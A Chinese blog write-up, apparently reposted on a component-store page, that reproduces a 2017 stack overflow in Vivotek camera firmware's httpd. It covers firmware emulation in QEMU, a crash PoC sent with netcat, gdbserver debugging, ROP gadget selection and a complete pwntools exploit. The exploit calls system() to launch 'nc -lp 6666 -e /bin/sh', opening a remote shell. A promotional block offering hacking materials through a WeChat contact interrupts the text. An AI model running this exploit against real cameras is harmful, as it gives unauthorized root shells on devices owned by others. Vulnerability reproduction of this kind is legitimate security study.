资讯详情

vivotek栈溢出漏洞复现

一、前言

近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年栈溢漏洞用于练手。

二、固件仿真

虚拟机环境:Ubuntu 20.04

gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

固件下载地址https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip从上面的地址下载有漏洞的固件binwalk分离文件系统,发现问题文件httpd位于/usr/sbin使用目录file命令查看文件类型

因为是arm因此,架构不能在本地运行和使用QEMU模拟运行

因为QEMU不会挂载模拟环境dev和proc,因此,我们将固件系统的这两个目录挂载到虚拟机上dev和proc中。

sudo mount -o bind /dev ./squashfs-root/dev/

sudo mount -t proc /proc/ ./squashfs-root/proc/

再次运行httpd文件发现此次报告了其他错误

打开ida定位错误句子的位置,可以看到/etc/conf.d/boa/boa.conf文件打开失败

本地ls查看会发现conf.d是链接到/mnt/flash/etc/conf.d是的,目录是空的

试着在其他目录中寻找boa.conf文件,最后在下面的目录中找到,并在此目录中找到/etc复制到/mnt/flash/目录下

再次运行httpd发现文件报告了以下错误

老办法通过IDA搜索错误字符串,定位到以下位置,可以发现错误的原因是在这个程序中使用的gethostname保存主机名的函数rlimits中,并使用gethostbyname通过主机名找到函数IP地址。但最终,由于我们的主机名与固件中的主机名不同,我们无法获得它IP地址。

我们可以在这里通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容

echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts

修改后再次运行httpd文件已经成功启动

【-帮助网安学习,免费领取以下所有学习资料!weix:yj009991,备注“ csdn ”获取!】

① 网安学习成长路径思维导图

② 60 经典常用的网安工具包

③ 100 SRC漏洞分析报告

④ 150 网络攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南 题库

⑥ 超1800页CTF实战技能手册

⑦ 最新网安大厂面试题集(含答案)

⑧ APP安卓安全检测指南(安卓安卓安全检测指南) IOS)

三、漏洞分析

我们根据poc来验证漏洞

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 127.0.0.1 80

验证成功后,可以看到程序崩溃信息。我们根据poc可以知道漏洞在Content-Length出现在中间,从IDA搜索字符串,然后检查交叉引,定位到漏洞位置

根据反汇编代码,我们可以理解程序正在处理中Content-Length使用字符串内容时,使用字符串内容strncpy函数保存从`:`到`\n`之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。

四、漏洞复现

在arm在栈溢出中,我们首先考虑的是如何劫持pc通过动调可以获得寄存器的偏移。

看看保护,打开NX因此不能使用保护shellcode,考虑使用ROP来绕过NX保护。

文件系统和gdbserver一起传到qemu在虚拟机中,以下内容是基于[driverxdw](https://xz.aliyun.com/t/5054#toc-2)整理师傅的文章。

从arm-debian的qemu下载以下三个文件

https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile

https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile

https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2

在当地建立一张新的网卡qemu虚拟机通信

sudo tunctl -t tap0 -u `whoami`

sudo ifconfig tap0 192.168.2.1/24

启动qemu虚拟机镜像

qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

启动成功后,您将输入用户名密码,默认用户名/密码:root/root,然后在qemu在虚拟机中配置网卡信息qemu虚拟机可以与当地通信

ifconfig eth0 192.168.2.2/24

接下来使用ftp固件文件系统get到qemu我们可以在虚拟机中挂载/dev和/proc了。

mount -o bind /dev ./squashfs-root/dev

mount -t proc /proc/ ./squashfs-root/proc/

最后切换到固件文件系统,运行漏洞文件

chroot squashfs-root sh

./usr/sbin/httpd

这时,我们就可以开始调试工作了gdb-multiarch&gdbserver的方式。但是我试过网上编译gdbserver未来不能远程target remote最后在[本文](https://bbs.pediy.com/thread-220907.htm)我找到了答案。按照上面的步骤,我编译了一份与我当地的文件gdb版本相同的gdbserver-static,文件上传到github有需要的师傅可以自己下载。

github地址https://github.com/AmaIIl/gdbserver-static-9.2-arm

有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示

./gdbserver-static 127.0.0.1:1234 --attach <server pid>

然后写一个gdbinit把重复的命令写进去方便调试

# gdb-multiarch -x gdbinit

file ./usr/sbin/httpd

set architecture arm

target remote 192.168.2.2:1234

我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。

sudo sysctl -w kernel.randomize_va_space=0

通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget

0x00048784: pop {r1, pc};

0x00016aa4: mov r0, r1; pop {r4, r5, pc};

exp如下所示

from pwn import *

context.log_level = 'debug'

r = lambda : p.recv()

rx = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x)

rud = lambda x: p.recvuntil(x, drop=True)

s = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)

close = lambda : p.close()

debug = lambda : gdb.attach(p)

shell = lambda : p.interactive()

p = remote('192.168.2.2', 80)

libc = ELF('./squashfs-root/lib/libc.so.0')

stack = 0xbeffeb64

base = 0xb6f2d000

system = base+libc.sym['system']

pop_r1_pc = 0x00048784+base

mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};

head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"

payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)

end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'

sl(head+payload+end)

shell()

脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell

五、总结

还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。

  

标签: p32j3m密封连接器p32j12m密封连接器p32j10mq密封连接器p32j11mqg密封连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台